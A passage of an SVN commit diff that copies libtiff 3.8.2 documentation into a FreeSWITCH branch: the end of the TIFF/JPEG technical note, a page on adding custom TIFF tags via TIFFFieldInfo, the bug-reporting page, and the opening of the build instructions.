+The ISO JPEG standard only permits images up to 65535 pixels in width or
+height, due to 2-byte fields in the SOFn markers.  In TIFF, this limits
+the size of an individual JPEG-compressed strip or tile, but the total
+image size can be greater.
+
+The number of components in the JPEG datastream shall equal SamplesPerPixel
+for PlanarConfiguration=1, and shall be 1 for PlanarConfiguration=2.  The
+components shall be stored in the same order as they are described at the
+TIFF field level.  (This applies both to their order in the SOFn marker,
+and to the order in which they are scanned if multiple JPEG scans are
+used.)  The component ID bytes are arbitrary so long as each component
+within an image segment is given a distinct ID.  To avoid any possible
+confusion, we require that all segments of a TIFF image use the same ID
+code for a given component.
+
+In PlanarConfiguration 1, the sampling factors given in SOFn markers shall
+agree with the sampling factors defined by the related TIFF fields (or with
+the default values that are specified in the absence of those fields).
+
+When DCT-based JPEG is used in a strip TIFF file, RowsPerStrip is required
+to be a multiple of 8 times the largest vertical sampling factor, i.e., a
+multiple of the height of an interleaved MCU.  (For simplicity of
+specification, we require this even if the data is not actually
+interleaved.)  For example, if YCbCrSubSampling = [2,2] then RowsPerStrip
+must be a multiple of 16.  An exception to this rule is made for
+single-strip images (RowsPerStrip >= ImageLength): the exact value of
+RowsPerStrip is unimportant in that case.  This rule ensures that no data
+padding is needed at the bottom of a strip, except perhaps the last strip.
+Any padding required at the right edge of the image, or at the bottom of
+the last strip, is expected to occur internally to the JPEG codec.
+
+When DCT-based JPEG is used in a tiled TIFF file, TileLength is required
+to be a multiple of 8 times the largest vertical sampling factor, i.e.,
+a multiple of the height of an interleaved MCU; and TileWidth is required
+to be a multiple of 8 times the largest horizontal sampling factor, i.e.,
+a multiple of the width of an interleaved MCU.  (For simplicity of
+specification, we require this even if the data is not actually
+interleaved.)  All edge padding required will therefore occur in the course
+of normal TIFF tile padding; it is not special to JPEG.
+
+Lossless JPEG does not impose these constraints on strip and tile sizes,
+since it is not DCT-based.
+
+Note that within JPEG datastreams, multibyte values appear in the MSB-first
+order specified by the JPEG standard, regardless of the byte ordering of
+the surrounding TIFF file.
+
+
+JPEGTables field
+----------------
+
+The only auxiliary TIFF field added for Compression=7 is the optional
+JPEGTables field.  The purpose of JPEGTables is to predefine JPEG
+quantization and/or Huffman tables for subsequent use by JPEG image
+segments.  When this is done, these rather bulky tables need not be
+duplicated in each segment, thus saving space and processing time.
+JPEGTables may be used even in a single-segment file, although there is no
+space savings in that case.
+
+JPEGTables:
+	Tag = 347 (15B.H)
+	Type = UNDEFINED
+	N = number of bytes in tables datastream, typically a few hundred
+JPEGTables provides default JPEG quantization and/or Huffman tables which
+are used whenever a segment datastream does not contain its own tables, as
+specified below.
+
+Notice that the JPEGTables field is required to have type code UNDEFINED,
+not type code BYTE.  This is to cue readers that expanding individual bytes
+to short or long integers is not appropriate.  A TIFF reader will generally
+need to store the field value as an uninterpreted byte sequence until it is
+fed to the JPEG decoder.
+
+Multibyte quantities within the tables follow the ISO JPEG convention of
+MSB-first storage, regardless of the byte ordering of the surrounding TIFF
+file.
+
+When the JPEGTables field is present, it shall contain a valid JPEG
+"abbreviated table specification" datastream.  This datastream shall begin
+with SOI and end with EOI.  It may contain zero or more JPEG "tables and
+miscellaneous" markers, namely:
+	DQT
+	DHT
+	DAC	(not to appear unless arithmetic coding is used)
+	DRI
+	APPn	(shall be ignored by TIFF readers)
+	COM	(shall be ignored by TIFF readers)
+Since JPEG defines the SOI marker to reset the DAC and DRI state, these two
+markers' values cannot be carried over into any image datastream, and thus
+they are effectively no-ops in the JPEGTables field.  To avoid confusion,
+it is recommended that writers not place DAC or DRI markers in JPEGTables.
+However readers must properly skip over them if they appear.
+
+When JPEGTables is present, readers shall load the table specifications
+contained in JPEGTables before processing image segment datastreams.
+Image segments may simply refer to these preloaded tables without defining
+them.  An image segment can still define and use its own tables, subject to
+the restrictions below.
+
+An image segment may not redefine any table defined in JPEGTables.  (This
+restriction is imposed to allow readers to process image segments in random
+order without having to reload JPEGTables between segments.)  Therefore, use
+of JPEGTables divides the available table slots into two groups: "global"
+slots are defined in JPEGTables and may be used but not redefined by
+segments; "local" slots are available for local definition and use in each
+segment.  To permit random access, a segment may not reference any local
+tables that it does not itself define.
+
+
+Special considerations for PlanarConfiguration 2
+------------------------------------------------
+
+In PlanarConfiguration 2, each image segment contains data for only one
+color component.  To avoid confusing the JPEG codec, we wish the segments
+to look like valid single-channel (i.e., grayscale) JPEG datastreams.  This
+means that different rules must be used for the SOFn parameters.
+
+In PlanarConfiguration 2, the dimensions given in the SOFn of a subsampled
+component shall be scaled down by the sampling factors compared to the SOFn
+dimensions that would be used in PlanarConfiguration 1.  This is necessary
+to match the actual number of samples stored in that segment, so that the
+JPEG codec doesn't complain about too much or too little data.  In strip
+TIFF files the computed dimensions may need to be rounded up to the next
+integer; in tiled files, the restrictions on tile size make this case
+impossible.
+
+Furthermore, all SOFn sampling factors shall be given as 1.  (This is
+merely to avoid confusion, since the sampling factors in a single-channel
+JPEG datastream have no real effect.)
+
+Any downsampling will need to happen externally to the JPEG codec, since
+JPEG sampling factors are defined with reference to the full-precision
+component.  In PlanarConfiguration 2, the JPEG codec will be working on
+only one component at a time and thus will have no reference component to
+downsample against.
+
+
+Minimum requirements for TIFF/JPEG
+----------------------------------
+
+ISO JPEG is a large and complex standard; most implementations support only
+a subset of it.  Here we define a "core" subset of TIFF/JPEG which readers
+must support to claim TIFF/JPEG compatibility.  For maximum
+cross-application compatibility, we recommend that writers confine
+themselves to this subset unless there is very good reason to do otherwise.
+
+Use the ISO baseline JPEG process: 8-bit data precision, Huffman coding,
+with no more than 2 DC and 2 AC Huffman tables.  Note that this implies
+BitsPerSample = 8 for each component.  We recommend deviating from baseline
+JPEG only if 12-bit data precision or lossless coding is required.
+
+Use no subsampling (all JPEG sampling factors = 1) for color spaces other
+than YCbCr.  (This is, in fact, required with the TIFF 6.0 field
+definitions, but may not be so in future revisions.)  For YCbCr, use one of
+the following choices:
+	YCbCrSubSampling field		JPEG sampling factors
+	1,1				1h1v, 1h1v, 1h1v
+	2,1				2h1v, 1h1v, 1h1v
+	2,2  (default value)		2h2v, 1h1v, 1h1v
+We recommend that RGB source data be converted to YCbCr for best compression
+results.  Other source data colorspaces should probably be left alone.
+Minimal readers need not support JPEG images with colorspaces other than
+YCbCr and grayscale (PhotometricInterpretation = 6 or 1).
+
+A minimal reader also need not support JPEG YCbCr images with nondefault
+values of YCbCrCoefficients or YCbCrPositioning, nor with values of
+ReferenceBlackWhite other than [0,255,128,255,128,255].  (These values
+correspond to the RGB<=>YCbCr conversion specified by JFIF, which is widely
+implemented in JPEG codecs.)
+
+Writers are reminded that a ReferenceBlackWhite field *must* be included
+when PhotometricInterpretation is YCbCr, because the default
+ReferenceBlackWhite values are inappropriate for YCbCr.
+
+If any subsampling is used, PlanarConfiguration=1 is preferred to avoid the
+possibly-confusing requirements of PlanarConfiguration=2.  In any case,
+readers are not required to support PlanarConfiguration=2.
+
+If possible, use a single interleaved scan in each image segment.  This is
+not legal JPEG if there are more than 4 SamplesPerPixel or if the sampling
+factors are such that more than 10 blocks would be needed per MCU; in that
+case, use a separate scan for each component.  (The recommended color
+spaces and sampling factors will not run into that restriction, so a
+minimal reader need not support more than one scan per segment.)
+
+To claim TIFF/JPEG compatibility, readers shall support multiple-strip TIFF
+files and the optional JPEGTables field; it is not acceptable to read only
+single-datastream files.  Support for tiled TIFF files is strongly
+recommended but not required.
+
+
+Other recommendations for implementors
+--------------------------------------
+
+The TIFF tag Compression=7 guarantees only that the compressed data is
+represented as ISO JPEG datastreams.  Since JPEG is a large and evolving
+standard, readers should apply careful error checking to the JPEG markers
+to ensure that the compression process is within their capabilities.  In
+particular, to avoid being confused by future extensions to the JPEG
+standard, it is important to abort if unknown marker codes are seen.
+
+The point of requiring that all image segments use the same JPEG process is
+to ensure that a reader need check only one segment to determine whether it
+can handle the image.  For example, consider a TIFF reader that has access
+to fast but restricted JPEG hardware, as well as a slower, more general
+software implementation.  It is desirable to check only one image segment
+to find out whether the fast hardware can be used.  Thus, writers should
+try to ensure that all segments of an image look as much "alike" as
+possible: there should be no variation in scan layout, use of options such
+as DRI, etc.  Ideally, segments will be processed identically except
+perhaps for using different local quantization or entropy-coding tables.
+
+Writers should avoid including "noise" JPEG markers (COM and APPn markers).
+Standard TIFF fields provide a better way to transport any non-image data.
+Some JPEG codecs may change behavior if they see an APPn marker they
+think they understand; since the TIFF spec requires these markers to be
+ignored, this behavior is undesirable.
+
+It is possible to convert an interchange-JPEG file (e.g., a JFIF file) to
+TIFF simply by dropping the interchange datastream into a single strip.
+(However, designers are reminded that the TIFF spec discourages huge
+strips; splitting the image is somewhat more work but may give better
+results.)  Conversion from TIFF to interchange JPEG is more complex.  A
+strip-based TIFF/JPEG file can be converted fairly easily if all strips use
+identical JPEG tables and no RSTn markers: just delete the overhead markers
+and insert RSTn markers between strips.  Converting tiled images is harder,
+since the data will usually not be in the right order (unless the tiles are
+only one MCU high).  This can still be done losslessly, but it will require
+undoing and redoing the entropy coding so that the DC coefficient
+differences can be updated.
+
+There is no default value for JPEGTables: standard TIFF files must define all
+tables that they reference.  For some closed systems in which many files will
+have identical tables, it might make sense to define a default JPEGTables
+value to avoid actually storing the tables.  Or even better, invent a
+private field selecting one of N default JPEGTables settings, so as to allow
+for future expansion.  Either of these must be regarded as a private
+extension that will render the files unreadable by other applications.
+
+
+References
+----------
+
+[1] Wallace, Gregory K.  "The JPEG Still Picture Compression Standard",
+Communications of the ACM, April 1991 (vol. 34 no. 4), pp. 30-44.
+
+This is the best short technical introduction to the JPEG algorithms.
+It is a good overview but does not provide sufficiently detailed
+information to write an implementation.
+
+[2] Pennebaker, William B. and Mitchell, Joan L.  "JPEG Still Image Data
+Compression Standard", Van Nostrand Reinhold, 1993, ISBN 0-442-01272-1.
+638pp.
+
+This textbook is by far the most complete exposition of JPEG in existence.
+It includes the full text of the ISO JPEG standards (DIS 10918-1 and draft
+DIS 10918-2).  No would-be JPEG implementor should be without it.
+
+[3] ISO/IEC IS 10918-1, "Digital Compression and Coding of Continuous-tone
+Still Images, Part 1: Requirements and guidelines", February 1994.
+ISO/IEC DIS 10918-2, "Digital Compression and Coding of Continuous-tone
+Still Images, Part 2: Compliance testing", final approval expected 1994.
+
+These are the official standards documents.  Note that the Pennebaker and
+Mitchell textbook is likely to be cheaper and more useful than the official
+standards.
+
+
+Changes to Section 21: YCbCr Images
+===================================
+
+[This section of the Tech Note clarifies section 21 to make clear the
+interpretation of image dimensions in a subsampled image.  Furthermore,
+the section is changed to allow the original image dimensions not to be
+multiples of the sampling factors.  This change is necessary to support use
+of JPEG compression on odd-size images.]
+
+Add the following paragraphs to the Section 21 introduction (p. 89),
+just after the paragraph beginning "When a Class Y image is subsampled":
+
+	In a subsampled image, it is understood that all TIFF image
+	dimensions are measured in terms of the highest-resolution
+	(luminance) component.  In particular, ImageWidth, ImageLength,
+	RowsPerStrip, TileWidth, TileLength, XResolution, and YResolution
+	are measured in luminance samples.
+
+	RowsPerStrip, TileWidth, and TileLength are constrained so that
+	there are an integral number of samples of each component in a
+	complete strip or tile.  However, ImageWidth/ImageLength are not
+	constrained.  If an odd-size image is to be converted to subsampled
+	format, the writer should pad the source data to a multiple of the
+	sampling factors by replication of the last column and/or row, then
+	downsample.  The number of luminance samples actually stored in the
+	file will be a multiple of the sampling factors.  Conversely,
+	readers must ignore any extra data (outside the specified image
+	dimensions) after upsampling.
+
+	When PlanarConfiguration=2, each strip or tile covers the same
+	image area despite subsampling; that is, the total number of strips
+	or tiles in the image is the same for each component.  Therefore
+	strips or tiles of the subsampled components contain fewer samples
+	than strips or tiles of the luminance component.
+
+	If there are extra samples per pixel (see field ExtraSamples),
+	these data channels have the same number of samples as the
+	luminance component.
+
+Rewrite the YCbCrSubSampling field description (pp 91-92) as follows
+(largely to eliminate possibly-misleading references to
+ImageWidth/ImageLength of the subsampled components):
+
+	(first paragraph unchanged)
+
+	The two elements of this field are defined as follows:
+
+	Short 0: ChromaSubsampleHoriz:
+
+	1 = there are equal numbers of luma and chroma samples horizontally.
+
+	2 = there are twice as many luma samples as chroma samples
+	horizontally.
+
+	4 = there are four times as many luma samples as chroma samples
+	horizontally.
+
+	Short 1: ChromaSubsampleVert:
+
+	1 = there are equal numbers of luma and chroma samples vertically.
+
+	2 = there are twice as many luma samples as chroma samples
+	vertically.
+
+	4 = there are four times as many luma samples as chroma samples
+	vertically.
+
+	ChromaSubsampleVert shall always be less than or equal to
+	ChromaSubsampleHoriz.  Note that Cb and Cr have the same sampling
+	ratios.
+
+	In a strip TIFF file, RowsPerStrip is required to be an integer
+	multiple of ChromaSubSampleVert (unless RowsPerStrip >=
+	ImageLength, in which case its exact value is unimportant).
+	If ImageWidth and ImageLength are not multiples of
+	ChromaSubsampleHoriz and ChromaSubsampleVert respectively, then the
+	source data shall be padded to the next integer multiple of these
+	values before downsampling.
+
+	In a tiled TIFF file, TileWidth must be an integer multiple of
+	ChromaSubsampleHoriz and TileLength must be an integer multiple of
+	ChromaSubsampleVert.  Padding will occur to tile boundaries.
+
+	The default values of this field are [ 2,2 ].  Thus, YCbCr data is
+	downsampled by default!
+</pre>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/addingtags.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/addingtags.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/addingtags.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/addingtags.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/addingtags.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,292 @@
+<HTML>
+<HEAD>
+<TITLE>
+Modifying The TIFF Library
+</TITLE>
+</HEAD>
+<BODY BGCOLOR=white> 
+<FONT FACE="Arial, Helvetica, Sans">
+
+<H1>
+Defining New TIFF Tags
+</H1>
+
+Libtiff has built-in knowledge of all the standard TIFF tags, as
+well as extentions.  The following describes how to add knowledge of
+new tags as builtins to libtiff, or how to application specific tags can
+be used by applications without modifying libtiff. 
+<p>
+
+<h2>TIFFFieldInfo</h2>
+
+How libtiff manages specific tags is primarily controlled by the 
+definition for that tag value stored internally as a TIFFFieldInfo structure. 
+This structure looks like this:
+<p>
+
+<pre>
+typedef	struct {
+  ttag_t    field_tag;          /* field's tag */
+  short	    field_readcount;    /* read count/TIFF_VARIABLE/TIFF_SPP */
+  short	    field_writecount;   /* write count/TIFF_VARIABLE */
+  TIFFDataType field_type;      /* type of associated data */
+  unsigned short field_bit;     /* bit in fieldsset bit vector */
+  unsigned char field_oktochange;/* if true, can change while writing */
+  unsigned char field_passcount;/* if true, pass dir count on set */
+  char	*field_name;		/* ASCII name */
+} TIFFFieldInfo;
+</pre>
+
+<ul>
+<li> <b>field_tag</b>: the tag number.  For instance 277 for the
+SamplesPerPixel tag.  Builtin tags will generally have a #define in
+tiff.h for each known tag. <p>
+
+<li> <b>field_readcount</b>: The number of values which should be read.
+The special value TIFF_VARIABLE (-1) indicates that a variable number of
+values may be read.  The special value TIFFTAG_SPP (-2) indicates that there
+should be one value for each sample as defined by TIFFTAG_SAMPLESPERPIXEL.  
+The special value TIFF_VARIABLE2 (-3) is presumably similar to TIFF_VARIABLE
+though I am not sure what the distinction in behaviour is.  This field
+is TIFF_VARIABLE for variable length ascii fields.<p>
+
+<li> <b>field_writecount</b>: The number of values which should be written.
+Generally the same as field_readcount.  A few built-in exceptions exist, but
+I haven't analysed why they differ. <p>
+
+<li> <b>field_type</b>: Type of the field.  One of TIFF_BYTE, TIFF_ASCII,
+TIFF_SHORT, TIFF_LONG, TIFF_RATIONAL, TIFF_SBYTE, TIFF_UNDEFINED, 
+TIFF_SSHORT, TIFF_SLONG, TIFF_SRATIONAL, TIFF_FLOAT, TIFF_DOUBLE or
+TIFF_IFD.  Note that some fields can support more than one type (for 
+instance short and long).  These fields should have multiple TIFFFieldInfos. 
+<p>
+
+<li> <b>field_bit</b>: Built-in tags stored in special fields in the 
+TIFF structure have assigned field numbers to distinguish them (ie. 
+FIELD_SAMPLESPERPIXEL).  New tags should generally just use 
+FIELD_CUSTOM indicating they are stored in the generic tag list.<p>
+
+<li> <b>field_oktochange</b>: TRUE if it is OK to change this tag value
+while an image is being written.  FALSE for stuff that must be set once
+and then left unchanged (like ImageWidth, or PhotometricInterpretation for
+instance).<p>
+
+<li> <b>field_passcount</b>: If TRUE, then the count value must be passed
+in TIFFSetField(), and TIFFGetField(), otherwise the count is not required.
+This should generally be TRUE for non-ascii variable count tags unless
+the count is implicit (such as with the colormap).<p>
+
+<li> <b>field_name</b>: A name for the tag.  Normally mixed case (studly caps) 
+like "StripByteCounts" and relatively short. <p>
+
+</ul>
+
+A TIFFFieldInfo definition exists for each built-in tag in the tif_dirinfo.c
+file.  Some tags which support multiple data types have more than one
+definition, one per data type supported. <p>
+
+Various functions exist for getting the internal TIFFFieldInfo definitions,
+including _TIFFFindFieldInfo(), and _TIFFFindFieldInfoByName().  See
+tif_dirinfo.c for details.  There must be some mechanism to get the whole
+list, though I don't see it off hand.<p>
+
+<h2>Default Tag Auto-registration</h2>
+
+In libtiff 3.6.0 a new mechanism was introduced allowing libtiff to 
+read unrecognised tags automatically.  When an unknown tags is encountered, 
+it is automatically internally defined with a default name and a type 
+derived from the tag value in the file.  Applications only need to predefine
+application specific tags if they need to be able to set them in a file, or
+if particular calling conventions are desired for TIFFSetField() and 
+TIFFGetField().<p>
+
+When tags are autodefined like this the <b>field_readcount</b> and
+<b>field_writecount</b> values are always TIFF_VARIABLE.  The 
+<b>field_passcount</b> is always TRUE, and the <b>field_bit</b> is 
+FIELD_CUSTOM.  The field name will be "Tag %d" where the %d is the tag 
+number.<p>  
+
+<h2>Defining Application Tags</h2>
+
+For various reasons, it is common for applications to want to define
+their own tags to store information outside the core TIFF specification. 
+This is done by calling TIFFMergeFieldInfo() with one or more TIFFFieldInfos. 
+<p>
+
+The libgeotiff library provides geospatial information extentions within
+a TIFF file.  First, a set of TIFFFieldInfo's is prepared with information
+on the new tags:<p>
+
+<pre>
+static const TIFFFieldInfo xtiffFieldInfo[] = {
+  
+  /* XXX Insert Your tags here */
+    { TIFFTAG_GEOPIXELSCALE,	-1,-1, TIFF_DOUBLE,	FIELD_CUSTOM,
+      TRUE,	TRUE,	"GeoPixelScale" },
+    { TIFFTAG_GEOTRANSMATRIX,	-1,-1, TIFF_DOUBLE,	FIELD_CUSTOM,
+      TRUE,	TRUE,	"GeoTransformationMatrix" },
+    { TIFFTAG_GEOTIEPOINTS,	-1,-1, TIFF_DOUBLE,	FIELD_CUSTOM,
+      TRUE,	TRUE,	"GeoTiePoints" },
+    { TIFFTAG_GEOKEYDIRECTORY, -1,-1, TIFF_SHORT,	FIELD_CUSTOM,
+      TRUE,	TRUE,	"GeoKeyDirectory" },
+    { TIFFTAG_GEODOUBLEPARAMS,	-1,-1, TIFF_DOUBLE,	FIELD_CUSTOM,
+      TRUE,	TRUE,	"GeoDoubleParams" },
+    { TIFFTAG_GEOASCIIPARAMS,	-1,-1, TIFF_ASCII,	FIELD_CUSTOM,
+      TRUE,	FALSE,	"GeoASCIIParams" }
+};
+</pre>
+
+In order to define the tags, we call TIFFMergeFieldInfo() on the
+desired TIFF handle with the list of TIFFFieldInfos.<p>
+
+<pre>
+#define	N(a)	(sizeof (a) / sizeof (a[0]))
+
+    /* Install the extended Tag field info */
+    TIFFMergeFieldInfo(tif, xtiffFieldInfo, N(xtiffFieldInfo));
+</pre>
+
+The tags need to be defined for each TIFF file opened - and when reading
+they should be defined before the tags of the file are read, yet a valid
+TIFF * is needed to merge the tags against.   In order to get them 
+registered at the appropriate part of the setup process, it is necessary
+to register our merge function as an extender callback with libtiff. 
+This is done with TIFFSetTagExtender().  We also keep track of the 
+previous tag extender (if any) so that we can call it from our extender
+allowing a chain of customizations to take effect. <P>
+
+<pre>
+static TIFFExtendProc _ParentExtender = NULL;
+
+static
+void _XTIFFInitialize(void)
+{
+    static int first_time=1;
+	
+    if (! first_time) return; /* Been there. Done that. */
+    first_time = 0;
+	
+    /* Grab the inherited method and install */
+    _ParentExtender = TIFFSetTagExtender(_XTIFFDefaultDirectory);
+}
+</pre>
+
+The extender callback is looks like this.  It merges in our new fields
+and then calls the next extender if there is one in effect.<p>
+
+<pre>
+static void
+_XTIFFDefaultDirectory(TIFF *tif)
+{
+    /* Install the extended Tag field info */
+    TIFFMergeFieldInfo(tif, xtiffFieldInfo, N(xtiffFieldInfo));
+
+    /* Since an XTIFF client module may have overridden
+     * the default directory method, we call it now to
+     * allow it to set up the rest of its own methods.
+     */
+
+    if (_ParentExtender) 
+        (*_ParentExtender)(tif);
+}
+</pre>
+
+The above approach ensures that our new definitions are used when reading
+or writing any TIFF file.  However, since on reading we already have 
+default definitions for tags, it is usually not critical to pre-define them.
+If tag definitions are only required for writing custom tags, you can just
+call TIFFMergeFieldInfo() before setting new tags.  The whole extender
+architecture can then be avoided.<p>
+
+<A NAME=AddingTags><P><H2>Adding New Builtin Tags</H2></A>
+
+A similar approach is taken to the above.  However, the TIFFFieldInfo 
+should be added to the tiffFieldInfo[] list in tif_dirinfo.c.  Ensure that
+new tags are added in sorted order by the tag number.<p>
+
+Normally new built-in tags should be defined with FIELD_CUSTOM; however, if
+it is desirable for the tag value to have it's own field in the TIFFDirectory
+structure, then you will need to #define a new FIELD_ value for it, and
+add appropriate handling as follows:
+
+
+<OL>
+<LI>Define the tag in <B>tiff.h</B>.
+<LI>Add a field to the directory structure in <B>tif_dir.h</B>
+   and define a <TT>FIELD_*</TT> bit (also update the definition of
+   <TT>FIELD_CODEC</TT> to reflect your addition).
+<LI>Add an entry in the <TT>TIFFFieldInfo</TT> array defined at the top of
+   <B>tif_dirinfo.c</B>. 
+   Note that you must keep this array sorted by tag
+   number and that the widest variant entry for a tag should come
+   first (e.g. <TT>LONG</TT> before <TT>SHORT</TT>).
+<LI>Add entries in <TT>_TIFFVSetField()</TT> and <TT>_TIFFVGetField()</TT>
+   for the new tag.
+<LI>(<I>optional</I>) If the value associated with the tag is not a scalar value
+   (e.g. the array for <TT>TransferFunction</TT>) and requires
+   special processing,
+   then add the appropriate code to <TT>TIFFReadDirectory()</TT> and
+   <TT>TIFFWriteDirectory()</TT>.  You're best off finding a similar tag and
+   cribbing code.
+<LI>Add support to <TT>TIFFPrintDirectory()</TT> in <B>tif_print.c</B>
+    to print the tag's value.
+</OL>
+
+<P>
+If you want to maintain portability, beware of making assumptions
+about data types.  Use the typedefs (<TT>uint16</TT>, etc. when dealing with
+data on disk and <TT>t*_t</TT> when stuff is in memory) and be careful about
+passing items through printf or similar vararg interfaces.
+
+<A NAME=AddingCODECTags><P><H2>Adding New Codec-private Tags</H2></A>
+
+To add tags that are meaningful <EM>only when a particular compression
+algorithm is used</EM> follow these steps:
+
+<OL>
+<LI>Define the tag in <B>tiff.h</B>.
+<LI>Allocate storage for the tag values in the private state block of
+   the codec.
+<LI>Insure the state block is created when the codec is initialized.
+<LI>At <TT>TIFFInitfoo</TT> time override the method pointers in the
+    TIFF structure
+   for getting, setting and printing tag values.  For example,
+<PRE>
+    sp->vgetparent = tif->tif_vgetfield;
+    tif->tif_vgetfield = fooVGetField;	/* hook for codec tags */
+    sp->vsetparent = tif->tif_vsetfield;
+    tif->tif_vsetfield = fooVSetField;	/* hook for codec tags */
+    tif->tif_printdir = fooPrintDir;	/* hook for codec tags */
+</PRE>
+   (Actually you may decide not to override the
+   <TT>tif_printdir</TT> method, but rather just specify it).
+<LI>Create a private <TT>TIFFFieldInfo</TT> array for your tags and
+    merge them into the core tags at initialization time using
+    <TT>_TIFFMergeFieldInfo</TT>; e.g.
+<PRE>
+    _TIFFMergeFieldInfo(tif, fooFieldInfo, N(fooFieldInfo));
+</PRE>
+   (where <TT>N</TT> is a macro used liberaly throughout the distributed code).
+<LI>Fill in the get and set routines.  Be sure to call the parent method
+   for tags that you are not handled directly.  Also be sure to set the
+   <TT>FIELD_*</TT> bits for tags that are to be written to the file.  Note that
+   you can create ``pseudo-tags'' by defining tags that are processed
+   exclusively in the get/set routines and never written to file (see
+   the handling of <TT>TIFFTAG_FAXMODE</TT> in <B>tif_fax3.c</B>
+   for an example of this).
+<LI>Fill in the print routine, if appropriate.
+</OL>
+
+Note that space has been allocated in the <TT>FIELD_*</TT> bit space for
+codec-private tags.  Define your bits as <TT>FIELD_CODEC+&lt;offset&gt;</TT> to
+keep them away from the core tags.  If you need more tags than there
+is room for, just increase <TT>FIELD_SETLONGS</TT> at the top of
+<B>tiffiop.h</B>.
+
+<HR>
+
+Last updated: $Date: 2004/09/10 14:43:18 $
+
+</BODY>
+
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/bugs.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/bugs.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/bugs.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/bugs.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/bugs.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+<HTML>
+<HEAD>
+<TITLE>Bugs and the TIFF Mailing List</TITLE>
+</HEAD>
+<BODY BGCOLOR=white> 
+<FONT FACE="Arial, Helvetica, Sans">
+<H1>
+<IMG SRC=images/cover.jpg WIDTH=110 HEIGHT=110 ALIGN=left BORDER=1 HSPACE=6>
+Bugs, Bugzilla, and the TIFF Mailing List
+</H1>
+
+<P>
+This software is free.  Please let us know when you find a problem or
+fix a bug.
+
+<P>
+Thanks to <A HREF=http://www.remotesensing.org/>remotesensing.org</a>, libtiff now uses bugzilla to track bugs. 
+<P>
+If you think you've discovered a bug, please first check to see if it is 
+already known by looking at the list of already reported bugs.  You can do so 
+by visiting the buglist at 
+<A HREF=http://bugzilla.remotesensing.org/buglist.cgi?product=libtiff>http://bugzilla.remotesensing.org/buglist.cgi?product=libtiff</A>.  Also verify that 
+the problem is still reproducable with the current development software 
+from CVS. 
+<p>
+If you'd like to enter a new bug, you can do so at <A HREF=http://bugzilla.remotesensing.org/enter_bug.cgi?product=libtiff>http://bugzilla.remotesensing.org/enter_bug.cgi?product=libtiff</A>.  
+<P>
+
+Of course, reporting bugs is no substitute for discussion.  The 
+<a href="mailto:tiff@lists.maptools.org">tiff@lists.maptools.org</a> mailing
+list is for users of this software, and discussion TIFF issues in general. 
+It is managed with the Mailman software, and the web interface for subscribing
+and managing your access to the list is at:<p>
+
+  <a href="http://lists.maptools.org/mailman/listinfo/tiff">http://lists.maptools.org/mailman/listinfo/tiff</a><P>
+
+Posts to the list are only accepted from members of the list in order
+to limit the amount of spam propagated.  Also, to be approved as a member
+you will need to email the list administrator with a brief description of
+why you are interested in TIFF so we can weed out spammers.<p>
+
+A <A HREF="http://www.awaresystems.be/imaging/tiff/tml.html">Long Term
+Archive</a> including recent messages, and most messages back to 1993,
+with search capabilities is available, and 
+has been prepared and hosted by <a href="http://www.awaresystems.be">AWare
+Systems</a>. <p>
+
+
+<HR>
+
+Last updated: $Date: 2005/07/26 14:43:24 $
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/build.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/build.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/build.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/build.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/build.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,880 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta name="generator" content=
+"HTML Tidy for Solaris (vers 12 April 2005), see www.w3.org">
+<title>Building the TIFF Software Distribution</title>
+</head>
+<body bgcolor="white">
+<h1><font face="Arial, Helvetica, Sans"><img src=
+"images/cramps.gif" width="159" height="203" align="left" border=
+"1" hspace="6"> Building the Software Distribution</font></h1>
+<ul>
+<li><a href="#UNIX">Building on a UNIX system</a>.</li>
+<li><a href="#MacMPW">Building on a Macintosh system with
+MPW</a>.</li>
+<li><a href="#MacCW">Building on a Macintosh system with
+CodeWarrior</a>.</li>
+<li><a href="#PC">Building on an MS-DOS or Windows system</a>.</li>
+<li><a href="#DJGPP">Building on MS-DOS with the DJGPP v2
+compiler</a>.</li>
+<li><a href="#VMS">Building on a VMS system</a>.</li>
+<li><a href="#Acorn">Building on an Acorn RISC OS system</a>.</li>
+<li><a href="#Other">Building the Software on Other
+Systems</a></li>
+</ul>
+<br clear="left">
+This chapter contains step-by-step instructions on how to configure
+and build the TIFF software distribution. The software is most
+easily built on a UNIX system, but with a little bit of work it can
+easily be built and used on other non-UNIX platforms. <a name=
+"UNIX" id="UNIX"></a>
+<hr>
+<h2>Building on a UNIX System</h2>
+To build the software on a UNIX system you need to first run the
+configure shell script that is located in the top level of the
+source directory. This script probes the target system for
+necessary tools and functions and constructs a build environment in
+which the software may be compiled. Once configuration is done, you
+simply run <tt>make</tt> (or <tt>gmake</tt>) to build the software
+and then <tt>make install</tt> to do the installation; for example:
+<div style="margin-left: 2em">
+<pre>
+hyla% <b>cd tiff-v3.4beta099</b>
+hyla% <b>./configure</b>
+    <i>...lots of messages...</i>
+hyla% <b>make</b>
+    <i>...lots of messages...</i>
+hyla# <b>make install</b>
+</pre></div>
+Supplied makefiles are depend on GNU <tt>make</tt> utility, so you
+will need the one. Depending on your installation <b>make</b>
+command may invoke standard system <tt>make</tt> and <b>gmake</b>
+invoke GNU make. In this case you should use former. If you don't
+have <tt>make</tt> at all, but only <tt>gmake</tt>, you should
+export environment variable <tt>MAKE=gmake</tt> before
